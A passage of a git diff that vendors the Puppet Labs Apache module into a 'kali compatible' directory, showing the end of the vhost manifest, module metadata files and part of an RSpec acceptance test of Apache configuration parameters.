'servername' parameter") + } + } + } + if $add_listen { + if $ip and defined(Apache::Listen["${port}"]) { + fail("Apache::Vhost[${name}]: Mixing IP and non-IP Listen directives is not possible; check the add_listen parameter of the apache::vhost define to disable this") + } + if $listen_addr_port and $ensure == 'present' { + ensure_resource('apache::listen', $listen_addr_port) + } + } + if ! $ip_based { + if $ensure == 'present' and (versioncmp($apache_version, '2.4') < 0) { + ensure_resource('apache::namevirtualhost', $nvh_addr_port) + } + } + + # Load mod_rewrite if needed and not yet loaded + if $rewrites or $rewrite_cond { + if ! defined(Class['apache::mod::rewrite']) { + include ::apache::mod::rewrite + } + } + + # Load mod_alias if needed and not yet loaded + if ($scriptalias or $scriptaliases != []) or ($aliases and $aliases != []) or ($redirect_source and $redirect_dest) { + if ! defined(Class['apache::mod::alias']) and ($ensure == 'present') { + include ::apache::mod::alias + } + } + + # Load mod_proxy if needed and not yet loaded + if ($proxy_dest or $proxy_pass or $proxy_pass_match or $proxy_dest_match) { + if ! defined(Class['apache::mod::proxy']) { + include ::apache::mod::proxy + } + if ! defined(Class['apache::mod::proxy_http']) { + include ::apache::mod::proxy_http + } + } + + # Load mod_passenger if needed and not yet loaded + if $rack_base_uris { + if ! defined(Class['apache::mod::passenger']) { + include ::apache::mod::passenger + } + } + + # Load mod_passenger if needed and not yet loaded + if $passenger_base_uris { + include ::apache::mod::passenger + } + + # Load mod_fastci if needed and not yet loaded + if $fastcgi_server and $fastcgi_socket { + if ! defined(Class['apache::mod::fastcgi']) { + include ::apache::mod::fastcgi + } + } + + # Check if mod_headers is required to process $headers/$request_headers + if $headers or $request_headers { + if ! defined(Class['apache::mod::headers']) { + include ::apache::mod::headers + } + } + + # Check if mod_filter is required to process $filters + if $filters { + if ! defined(Class['apache::mod::filter']) { + include ::apache::mod::filter + } + } + + # Check if mod_env is required and not yet loaded. + # create an expression to simplify the conditional check + $use_env_mod = $setenv and ! empty($setenv) + if ($use_env_mod) { + if ! defined(Class['apache::mod::env']) { + include ::apache::mod::env + } + } + # Check if mod_setenvif is required and not yet loaded. + # create an expression to simplify the conditional check + $use_setenvif_mod = ($setenvif and ! empty($setenvif)) or ($setenvifnocase and ! empty($setenvifnocase)) + + if ($use_setenvif_mod) { + if ! defined(Class['apache::mod::setenvif']) { + include ::apache::mod::setenvif + } + } + + ## Create a default directory list if none defined + if $directories { + if !is_hash($directories) and !(is_array($directories) and is_hash($directories[0])) { + fail("Apache::Vhost[${name}]: 'directories' must be either a Hash or an Array of Hashes") + } + $_directories = $directories + } elsif $docroot { + $_directory = { + provider => 'directory', + path => $docroot, + options => $options, + allow_override => $override, + directoryindex => $directoryindex, + } + + if versioncmp($apache_version, '2.4') >= 0 { + $_directory_version = { + require => 'all granted', + } + } else { + $_directory_version = { + order => 'allow,deny', + allow => 'from all', + } + } + + $_directories = [ merge($_directory, $_directory_version) ] + } else { + $_directories = undef + } + + ## Create a global LocationMatch if locations aren't defined + if $modsec_disable_ids { + if is_hash($modsec_disable_ids) { + $_modsec_disable_ids = $modsec_disable_ids + } elsif is_array($modsec_disable_ids) { + $_modsec_disable_ids = { '.*' => $modsec_disable_ids } + } else { + fail("Apache::Vhost[${name}]: 'modsec_disable_ids' must be either a Hash of location/IDs or an Array of IDs") + } + } + + if $modsec_disable_msgs { + if is_hash($modsec_disable_msgs) { + $_modsec_disable_msgs = $modsec_disable_msgs + } elsif is_array($modsec_disable_msgs) { + $_modsec_disable_msgs = { '.*' => $modsec_disable_msgs } + } else { + fail("Apache::Vhost[${name}]: 'modsec_disable_msgs' must be either a Hash of location/Msgs or an Array of Msgs") + } + } + + if $modsec_disable_tags { + if is_hash($modsec_disable_tags) { + $_modsec_disable_tags = $modsec_disable_tags + } elsif is_array($modsec_disable_tags) { + $_modsec_disable_tags = { '.*' => $modsec_disable_tags } + } else { + fail("Apache::Vhost[${name}]: 'modsec_disable_tags' must be either a Hash of location/Tags or an Array of Tags") + } + } + + concat { "${priority_real}${filename}.conf": + ensure => $ensure, + path => "${::apache::vhost_dir}/${priority_real}${filename}.conf", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + order => 'numeric', + require => Package['httpd'], + notify => Class['apache::service'], + } + # NOTE(pabelanger): This code is duplicated in ::apache::vhost::custom and + # needs to be converted into something generic. + if $::apache::vhost_enable_dir { + $vhost_enable_dir = $::apache::vhost_enable_dir + $vhost_symlink_ensure = $ensure ? { + present => link, + default => $ensure, + } + file{ "${priority_real}${filename}.conf symlink": + ensure => $vhost_symlink_ensure, + path => "${vhost_enable_dir}/${priority_real}${filename}.conf", + target => "${::apache::vhost_dir}/${priority_real}${filename}.conf", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + require => Concat["${priority_real}${filename}.conf"], + notify => Class['apache::service'], + } + } + + # Template uses: + # - $nvh_addr_port + # - $servername + # - $serveradmin + concat::fragment { "${name}-apache-header": + target => "${priority_real}${filename}.conf", + order => 0, + content => template('apache/vhost/_file_header.erb'), + } + + # Template uses: + # - $virtual_docroot + # - $docroot + if $docroot { + concat::fragment { "${name}-docroot": + target => "${priority_real}${filename}.conf", + order => 10, + content => template('apache/vhost/_docroot.erb'), + } + } + + # Template uses: + # - $aliases + if $aliases and ! empty($aliases) { + concat::fragment { "${name}-aliases": + target => "${priority_real}${filename}.conf", + order => 20, + content => template('apache/vhost/_aliases.erb'), + } + } + + # Template uses: + # - $itk + # - $::kernelversion + if $itk and ! empty($itk) { + concat::fragment { "${name}-itk": + target => "${priority_real}${filename}.conf", + order => 30, + content => template('apache/vhost/_itk.erb'), + } + } + + # Template uses: + # - $fallbackresource + if $fallbackresource { + concat::fragment { "${name}-fallbackresource": + target => "${priority_real}${filename}.conf", + order => 40, + content => template('apache/vhost/_fallbackresource.erb'), + } + } + + # Template uses: + # - $allow_encoded_slashes + if $allow_encoded_slashes { + concat::fragment { "${name}-allow_encoded_slashes": + target => "${priority_real}${filename}.conf", + order => 50, + content => template('apache/vhost/_allow_encoded_slashes.erb'), + } + } + + # Template uses: + # - $_directories + # - $docroot + # - $apache_version + # - $suphp_engine + # - $shibboleth_enabled + if $_directories and ! empty($_directories) { + concat::fragment { "${name}-directories": + target => "${priority_real}${filename}.conf", + order => 60, + content => template('apache/vhost/_directories.erb'), + } + } + + # Template uses: + # - $additional_includes + if $additional_includes and ! empty($additional_includes) { + concat::fragment { "${name}-additional_includes": + target => "${priority_real}${filename}.conf", + order => 70, + content => template('apache/vhost/_additional_includes.erb'), + } + } + + # Template uses: + # - $error_log + # - $log_level + # - $error_log_destination + # - $log_level + if $error_log or $log_level { + concat::fragment { "${name}-logging": + target => "${priority_real}${filename}.conf", + order => 80, + content => template('apache/vhost/_logging.erb'), + } + } + + # Template uses no variables + concat::fragment { "${name}-serversignature": + target => "${priority_real}${filename}.conf", + order => 90, + content => template('apache/vhost/_serversignature.erb'), + } + + # Template uses: + # - $access_log + # - $_access_log_env_var + # - $access_log_destination + # - $_access_log_format + # - $_access_log_env_var + # - $access_logs + if $access_log or $access_logs { + concat::fragment { "${name}-access_log": + target => "${priority_real}${filename}.conf", + order => 100, + content => template('apache/vhost/_access_log.erb'), + } + } + + # Template uses: + # - $action + if $action { + concat::fragment { "${name}-action": + target => "${priority_real}${filename}.conf", + order => 110, + content => template('apache/vhost/_action.erb'), + } + } + + # Template uses: + # - $block + # - $apache_version + if $block and ! empty($block) { + concat::fragment { "${name}-block": + target => "${priority_real}${filename}.conf", + order => 120, + content => template('apache/vhost/_block.erb'), + } + } + + # Template uses: + # - $error_documents + if $error_documents and ! empty($error_documents) { + concat::fragment { "${name}-error_document": + target => "${priority_real}${filename}.conf", + order => 130, + content => template('apache/vhost/_error_document.erb'), + } + } + + # Template uses: + # - $headers + if $headers and ! empty($headers) { + concat::fragment { "${name}-header": + target => "${priority_real}${filename}.conf", + order => 140, + content => template('apache/vhost/_header.erb'), + } + } + + # Template uses: + # - $request_headers + if $request_headers and ! empty($request_headers) { + concat::fragment { "${name}-requestheader": + target => "${priority_real}${filename}.conf", + order => 150, + content => template('apache/vhost/_requestheader.erb'), + } + } + + # Template uses: + # - $proxy_dest + # - $proxy_pass + # - $proxy_pass_match + # - $proxy_preserve_host + # - $proxy_add_headers + # - $no_proxy_uris + if $proxy_dest or $proxy_pass or $proxy_pass_match or $proxy_dest_match or $proxy_preserve_host { + concat::fragment { "${name}-proxy": + target => "${priority_real}${filename}.conf", + order => 160, + content => template('apache/vhost/_proxy.erb'), + } + } + + # Template uses: + # - $rack_base_uris + if $rack_base_uris { + concat::fragment { "${name}-rack": + target => "${priority_real}${filename}.conf", + order => 170, + content => template('apache/vhost/_rack.erb'), + } + } + + # Template uses: + # - $passenger_base_uris + if $passenger_base_uris { + concat::fragment { "${name}-passenger_uris": + target => "${priority_real}${filename}.conf", + order => 175, + content => template('apache/vhost/_passenger_base_uris.erb'), + } + } + + # Template uses: + # - $redirect_source + # - $redirect_dest + # - $redirect_status + # - $redirect_dest_a + # - $redirect_source_a + # - $redirect_status_a + # - $redirectmatch_status + # - $redirectmatch_regexp + # - $redirectmatch_dest + # - $redirectmatch_status_a + # - $redirectmatch_regexp_a + # - $redirectmatch_dest + if ($redirect_source and $redirect_dest) or ($redirectmatch_regexp and $redirectmatch_dest) { + concat::fragment { "${name}-redirect": + target => "${priority_real}${filename}.conf", + order => 180, + content => template('apache/vhost/_redirect.erb'), + } + } + + # Template uses: + # - $rewrites + # - $rewrite_base + # - $rewrite_rule + # - $rewrite_cond + # - $rewrite_map + if $rewrites or $rewrite_rule { + concat::fragment { "${name}-rewrite": + target => "${priority_real}${filename}.conf", + order => 190, + content => template('apache/vhost/_rewrite.erb'), + } + } + + # Template uses: + # - $scriptaliases + # - $scriptalias + if ( $scriptalias or $scriptaliases != [] ) { + concat::fragment { "${name}-scriptalias": + target => "${priority_real}${filename}.conf", + order => 200, + content => template('apache/vhost/_scriptalias.erb'), + } + } + + # Template uses: + # - $serveraliases + if $serveraliases and ! empty($serveraliases) { + concat::fragment { "${name}-serveralias": + target => "${priority_real}${filename}.conf", + order => 210, + content => template('apache/vhost/_serveralias.erb'), + } + } + + # Template uses: + # - $setenv + # - $setenvif + if ($use_env_mod or $use_setenvif_mod) { + concat::fragment { "${name}-setenv": + target => "${priority_real}${filename}.conf", + order => 220, + content => template('apache/vhost/_setenv.erb'), + } + } + + # Template uses: + # - $ssl + # - $ssl_cert + # - $ssl_key + # - $ssl_chain + # - $ssl_certs_dir + # - $ssl_ca + # - $ssl_crl_path + # - $ssl_crl + # - $ssl_crl_check + # - $ssl_protocol + # - $ssl_cipher + # - $ssl_honorcipherorder + # - $ssl_verify_client + # - $ssl_verify_depth + # - $ssl_options + # - $ssl_openssl_conf_cmd + # - $ssl_stapling + # - $apache_version + if $ssl { + concat::fragment { "${name}-ssl": + target => "${priority_real}${filename}.conf", + order => 230, + content => template('apache/vhost/_ssl.erb'), + } + } + + # Template uses: + # - $ssl_proxyengine + # - $ssl_proxy_verify + # - $ssl_proxy_verify_depth + # - $ssl_proxy_ca_cert + # - $ssl_proxy_check_peer_cn + # - $ssl_proxy_check_peer_name + # - $ssl_proxy_check_peer_expire + # - $ssl_proxy_machine_cert + # - $ssl_proxy_protocol + if $ssl_proxyengine { + concat::fragment { "${name}-sslproxy": + target => "${priority_real}${filename}.conf", + order => 230, + content => template('apache/vhost/_sslproxy.erb'), + } + } + + # Template uses: + # - $auth_kerb + # - $krb_method_negotiate + # - $krb_method_k5passwd + # - $krb_authoritative + # - $krb_auth_realms + # - $krb_5keytab + # - $krb_local_user_mapping + if $auth_kerb { + concat::fragment { "${name}-auth_kerb": + target => "${priority_real}${filename}.conf", + order => 230, + content => template('apache/vhost/_auth_kerb.erb'), + } + } + + # Template uses: + # - $suphp_engine + # - $suphp_addhandler + # - $suphp_configpath + if $suphp_engine == 'on' { + concat::fragment { "${name}-suphp": + target => "${priority_real}${filename}.conf", + order => 240, + content => template('apache/vhost/_suphp.erb'), + } + } + + # Template uses: + # - $php_values + # - $php_flags + if ($php_values and ! empty($php_values)) or ($php_flags and ! empty($php_flags)) { + concat::fragment { "${name}-php": + target => "${priority_real}${filename}.conf", + order => 240, + content => template('apache/vhost/_php.erb'), + } + } + + # Template uses: + # - $php_admin_values + # - $php_admin_flags + if ($php_admin_values and ! empty($php_admin_values)) or ($php_admin_flags and ! empty($php_admin_flags)) { + concat::fragment { "${name}-php_admin": + target => "${priority_real}${filename}.conf", + order => 250, + content => template('apache/vhost/_php_admin.erb'), + } + } + + # Template uses: + # - $wsgi_application_group + # - $wsgi_daemon_process + # - $wsgi_daemon_process_options + # - $wsgi_import_script + # - $wsgi_import_script_options + # - $wsgi_process_group + # - $wsgi_script_aliases + # - $wsgi_pass_authorization + if $wsgi_application_group or $wsgi_daemon_process or ($wsgi_import_script and $wsgi_import_script_options) or $wsgi_process_group or ($wsgi_script_aliases and ! empty($wsgi_script_aliases)) or $wsgi_pass_authorization { + concat::fragment { "${name}-wsgi": + target => "${priority_real}${filename}.conf", + order => 260, + content => template('apache/vhost/_wsgi.erb'), + } + } + + # Template uses: + # - $custom_fragment + if $custom_fragment { + concat::fragment { "${name}-custom_fragment": + target => "${priority_real}${filename}.conf", + order => 270, + content => template('apache/vhost/_custom_fragment.erb'), + } + } + + # Template uses: + # - $fastcgi_server + # - $fastcgi_socket + # - $fastcgi_dir + # - $fastcgi_idle_timeout + # - $apache_version + if $fastcgi_server or $fastcgi_dir { + concat::fragment { "${name}-fastcgi": + target => "${priority_real}${filename}.conf", + order => 280, + content => template('apache/vhost/_fastcgi.erb'), + } + } + + # Template uses: + # - $suexec_user_group + if $suexec_user_group { + concat::fragment { "${name}-suexec": + target => "${priority_real}${filename}.conf", + order => 290, + content => template('apache/vhost/_suexec.erb'), + } + } + + # Template uses: + # - $passenger_app_root + # - $passenger_app_env + # - $passenger_ruby + # - $passenger_min_instances + # - $passenger_max_requests + # - $passenger_start_timeout + # - $passenger_pre_start + # - $passenger_user + # - $passenger_nodejs + # - $passenger_sticky_sessions + # - $passenger_startup_file + if $passenger_app_root or $passenger_app_env or $passenger_ruby or $passenger_min_instances or $passenger_start_timeout or $passenger_pre_start or $passenger_user or $passenger_nodejs or $passenger_sticky_sessions or $passenger_startup_file{ + concat::fragment { "${name}-passenger": + target => "${priority_real}${filename}.conf", + order => 300, + content => template('apache/vhost/_passenger.erb'), + } + } + + # Template uses: + # - $add_default_charset + if $add_default_charset { + concat::fragment { "${name}-charsets": + target => "${priority_real}${filename}.conf", + order => 310, + content => template('apache/vhost/_charsets.erb'), + } + } + + # Template uses: + # - $modsec_disable_vhost + # - $modsec_disable_ids + # - $modsec_disable_ips + # - $modsec_disable_msgs + # - $modsec_disable_tags + # - $modsec_body_limit + # - $modsec_audit_log_destination + if $modsec_disable_vhost or $modsec_disable_ids or $modsec_disable_ips or $modsec_disable_msgs or $modsec_disable_tags or $modsec_audit_log_destination { + concat::fragment { "${name}-security": + target => "${priority_real}${filename}.conf", + order => 320, + content => template('apache/vhost/_security.erb'), + } + } + + # Template uses: + # - $filters + if $filters and ! empty($filters) { + concat::fragment { "${name}-filters": + target => "${priority_real}${filename}.conf", + order => 330, + content => template('apache/vhost/_filters.erb'), + } + } + + # Template uses: + # - $jk_mounts + if $jk_mounts and ! empty($jk_mounts) { + concat::fragment { "${name}-jk_mounts": + target => "${priority_real}${filename}.conf", + order => 340, + content => template('apache/vhost/_jk_mounts.erb'), + } + } + + # Template uses: + # - $keepalive + # - $keepalive_timeout + # - $max_keepalive_requests + if $keepalive or $keepalive_timeout or $max_keepalive_requests { + concat::fragment { "${name}-keepalive_options": + target => "${priority_real}${filename}.conf", + order => 350, + content => template('apache/vhost/_keepalive_options.erb'), + } + } + + # Template uses: + # - $cas_* + if $cas_enabled { + concat::fragment { "${name}-auth_cas": + target => "${priority_real}${filename}.conf", + order => 350, + content => template('apache/vhost/_auth_cas.erb'), + } + } + + # Template uses: + # - $http_protocol_options + if $http_protocol_options { + concat::fragment { "${name}-http_protocol_options": + target => "${priority_real}${filename}.conf", + order => 350, + content => template('apache/vhost/_http_protocol_options.erb'), + } + } + + # Template uses no variables + concat::fragment { "${name}-file_footer": + target => "${priority_real}${filename}.conf", + order => 999, + content => template('apache/vhost/_file_footer.erb'), + } +} diff --git a/modules/services/unix/http/apache/manifests/vhost/custom.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost/custom.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/vhost/custom.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost/custom.pp diff --git a/modules/services/unix/http/apache/manifests/vhosts.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhosts.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/vhosts.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/vhosts.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/metadata.json b/modules/services/unix/http/apache_kali_compatible/apache/metadata.json new file mode 100644 index 000000000..a7aa8e164 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/metadata.json @@ -0,0 +1,85 @@ +{ + "name": "puppetlabs-apache", + "version": "2.0.0", + "author": "puppet", + "summary": "Installs, configures, and manages Apache virtual hosts, web services, and modules.", + "license": "Apache-2.0", + "source": "git://github.com/puppetlabs/puppetlabs-apache.git", + "project_page": "https://github.com/puppetlabs/puppetlabs-apache", + "issues_url": "https://tickets.puppetlabs.com/browse/MODULES", + "dependencies": [ + { + "name": "puppetlabs/stdlib", + "version_requirement": ">= 4.13.1 < 5.0.0" + }, + { + "name": "puppetlabs/concat", + "version_requirement": ">= 2.2.1 < 5.0.0" + } + ], + "data_provider": null, + "operatingsystem_support": [ + { + "operatingsystem": "RedHat", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "CentOS", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "OracleLinux", + "operatingsystemrelease": [ + "6", + "7" + ] + }, + { + "operatingsystem": "Scientific", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "Debian", + "operatingsystemrelease": [ + "6", + "7", + "8" + ] + }, + { + "operatingsystem": "SLES", + "operatingsystemrelease": [ + "11 SP1", + "12" + ] + }, + { + "operatingsystem": "Ubuntu", + "operatingsystemrelease": [ + "10.04", + "12.04", + "14.04", + "16.04" + ] + } + ], + "requirements": [ + { + "name": "puppet", + "version_requirement": ">= 4.7.0 < 6.0.0" + } + ], + "description": "Module for Apache configuration" +} diff --git a/modules/services/unix/http/apache_kali_compatible/apache/secgen_metadata.xml b/modules/services/unix/http/apache_kali_compatible/apache/secgen_metadata.xml new file mode 100644 index 000000000..8be250aed --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/secgen_metadata.xml @@ -0,0 +1,32 @@ + + + + Apache HTTP Server - Kali Compatible + Z. Cliffe Schreuders + Connor Wilson + Puppet Labs + Apache v2 + An installation of Apache + + httpd + linux + + + https://httpd.apache.org/ + https://forge.puppet.com/puppetlabs/apache + apache + Apache v2 + + + + apache + + + Wheezy + + + update + + diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/apache_parameters_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/apache_parameters_spec.rb new file mode 100755 index 000000000..2ba1a4452 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/apache_parameters_spec.rb @@ -0,0 +1,536 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache parameters' do + + # Currently this test only does something on FreeBSD. + describe 'default_confd_files => false' do + it 'doesnt do anything' do + pp = "class { 'apache': default_confd_files => false }" + apply_manifest(pp, :catch_failures => true) + end + + if fact('osfamily') == 'FreeBSD' + describe file("#{$confd_dir}/no-accf.conf.erb") do + it { is_expected.not_to be_file } + end + end + end + describe 'default_confd_files => true' do + it 'copies conf.d files' do + pp = "class { 'apache': default_confd_files => true }" + apply_manifest(pp, :catch_failures => true) + end + + if fact('osfamily') == 'FreeBSD' + describe file("#{$confd_dir}/no-accf.conf.erb") do + it { is_expected.to be_file } + end + end + end + + describe 'when set adds a listen statement' do + it 'applys cleanly' do + pp = "class { 'apache': ip => '10.1.1.1', service_ensure => stopped }" + apply_manifest(pp, :catch_failures => true) + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen 10.1.1.1' } + end + end + + describe 'service tests => true' do + it 'starts the service' do + pp = <<-EOS + class { 'apache': + service_enable => true, + service_manage => true, + service_ensure => running, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + it { is_expected.to be_running } + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { is_expected.to be_enabled } + end + end + end + + describe 'service tests => false' do + it 'stops the service' do + pp = <<-EOS + class { 'apache': + service_enable => false, + service_ensure => stopped, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + it { is_expected.not_to be_running } + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { is_expected.not_to be_enabled } + end + end + end + + describe 'service manage => false' do + it 'we dont manage the service, so it shouldnt start the service' do + pp = <<-EOS + class { 'apache': + service_enable => true, + service_manage => false, + service_ensure => true, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + it { is_expected.not_to be_running } + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { is_expected.not_to be_enabled } + end + end + end + + describe 'purge parameters => false' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': + purge_configs => false, + purge_vhost_dir => false, + vhost_dir => "#{$confd_dir}.vhosts" + } + EOS + shell("touch #{$confd_dir}/test.conf") + shell("mkdir -p #{$confd_dir}.vhosts && touch #{$confd_dir}.vhosts/test.conf") + apply_manifest(pp, :catch_failures => true) + end + + # Ensure the files didn't disappear. + describe file("#{$confd_dir}/test.conf") do + it { is_expected.to be_file } + end + describe file("#{$confd_dir}.vhosts/test.conf") do + it { is_expected.to be_file } + end + end + + if fact('osfamily') != 'Debian' + describe 'purge parameters => true' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': + purge_configs => true, + purge_vhost_dir => true, + vhost_dir => "#{$confd_dir}.vhosts" + } + EOS + shell("touch #{$confd_dir}/test.conf") + shell("mkdir -p #{$confd_dir}.vhosts && touch #{$confd_dir}.vhosts/test.conf") + apply_manifest(pp, :catch_failures => true) + end + + # File should be gone + describe file("#{$confd_dir}/test.conf") do + it { is_expected.not_to be_file } + end + describe file("#{$confd_dir}.vhosts/test.conf") do + it { is_expected.not_to be_file } + end + end + end + + describe 'serveradmin' do + it 'applies cleanly' do + pp = "class { 'apache': serveradmin => 'test@example.com' }" + apply_manifest(pp, :catch_failures => true) + end + + describe file($vhost) do + it { is_expected.to be_file } + it { is_expected.to contain 'ServerAdmin test@example.com' } + end + end + + describe 'sendfile' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': sendfile => 'On' }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'EnableSendfile On' } + end + + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': sendfile => 'Off' }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Sendfile Off' } + end + end + + describe 'error_documents' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': error_documents => true }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Alias /error/' } + end + end + + describe 'timeout' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': timeout => '1234' }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Timeout 1234' } + end + end + + describe 'httpd_dir' do + describe 'setup' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': httpd_dir => '/tmp', service_ensure => stopped } + include 'apache::mod::mime' + EOS + apply_manifest(pp, :catch_failures => true) + end + end + + describe file("#{$mod_dir}/mime.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'AddLanguage eo .eo' } + end + end + + describe 'http_protocol_options' do + # Actually >= 2.4.24, but the minor version is not provided + # https://bugs.launchpad.net/ubuntu/+source/apache2/2.4.7-1ubuntu4.15 + # basically versions of the ubuntu or sles apache package cause issue + if $apache_version >= '2.4' && fact('operatingsystem') !~ /Ubuntu|SLES/ + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': http_protocol_options => 'Unsafe RegisteredMethods Require1.0'}" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'HttpProtocolOptions Unsafe RegisteredMethods Require1.0' } + end + end + end + + describe 'server_root' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': server_root => '/tmp/root', service_ensure => stopped }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'ServerRoot "/tmp/root"' } + end + end + + describe 'confd_dir' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': confd_dir => '/tmp/root', service_ensure => stopped, use_optional_includes => true }" + apply_manifest(pp, :catch_failures => true) + end + end + + if $apache_version == '2.4' + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'IncludeOptional "/tmp/root/*.conf"' } + end + else + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Include "/tmp/root/*.conf"' } + end + end + end + + describe 'conf_template' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': conf_template => 'another/test.conf.erb', service_ensure => stopped }" + shell("mkdir -p #{default['distmoduledir']}/another/templates") + shell("echo 'testcontent' >> #{default['distmoduledir']}/another/templates/test.conf.erb") + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'testcontent' } + end + end + + describe 'servername' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': servername => 'test.server', service_ensure => stopped }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'ServerName "test.server"' } + end + end + + describe 'user' do + describe 'setup' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': + manage_user => true, + manage_group => true, + user => 'testweb', + group => 'testweb', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + end + + describe user('testweb') do + it { is_expected.to exist } + it { is_expected.to belong_to_group 'testweb' } + end + + describe group('testweb') do + it { is_expected.to exist } + end + end + + describe 'logformats' do + describe 'setup' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': + log_formats => { + 'vhost_common' => '%v %h %l %u %t \\\"%r\\\" %>s %b', + 'vhost_combined' => '%v %h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-agent}i\\\"', + } + } + EOS + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'LogFormat "%v %h %l %u %t \"%r\" %>s %b" vhost_common' } + it { is_expected.to contain 'LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" vhost_combined' } + end + end + + + describe 'keepalive' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': keepalive => 'Off', keepalive_timeout => '30', max_keepalive_requests => '200' }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'KeepAlive Off' } + it { is_expected.to contain 'KeepAliveTimeout 30' } + it { is_expected.to contain 'MaxKeepAliveRequests 200' } + end + end + + describe 'limitrequestfieldsize' do + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': limitreqfieldsize => '16830' }" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'LimitRequestFieldSize 16830' } + end + end + + describe 'logging' do + describe 'setup' do + it 'applies cleanly' do + pp = <<-EOS + if $::osfamily == 'RedHat' and "$::selinux" == "true" { + $semanage_package = $::operatingsystemmajrelease ? { + '5' => 'policycoreutils', + default => 'policycoreutils-python', + } + + package { $semanage_package: ensure => installed } + exec { 'set_apache_defaults': + command => 'semanage fcontext -a -t httpd_log_t "/apache_spec(/.*)?"', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + require => Package[$semanage_package], + } + exec { 'restorecon_apache': + command => 'restorecon -Rv /apache_spec', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + before => Service['httpd'], + require => Class['apache'], + } + } + file { '/apache_spec': ensure => directory, } + class { 'apache': logroot => '/apache_spec' } + EOS + apply_manifest(pp, :catch_failures => true) + end + end + + describe file("/apache_spec/#{$error_log}") do + it { is_expected.to be_file } + end + end + + describe 'ports_file' do + it 'applys cleanly' do + pp = <<-EOS + file { '/apache_spec': ensure => directory, } + class { 'apache': + ports_file => '/apache_spec/ports_file', + ip => '10.1.1.1', + service_ensure => stopped + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file('/apache_spec/ports_file') do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen 10.1.1.1' } + end + end + + describe 'server_tokens' do + it 'applys cleanly' do + pp = <<-EOS + class { 'apache': + server_tokens => 'Minor', + } + EOS + 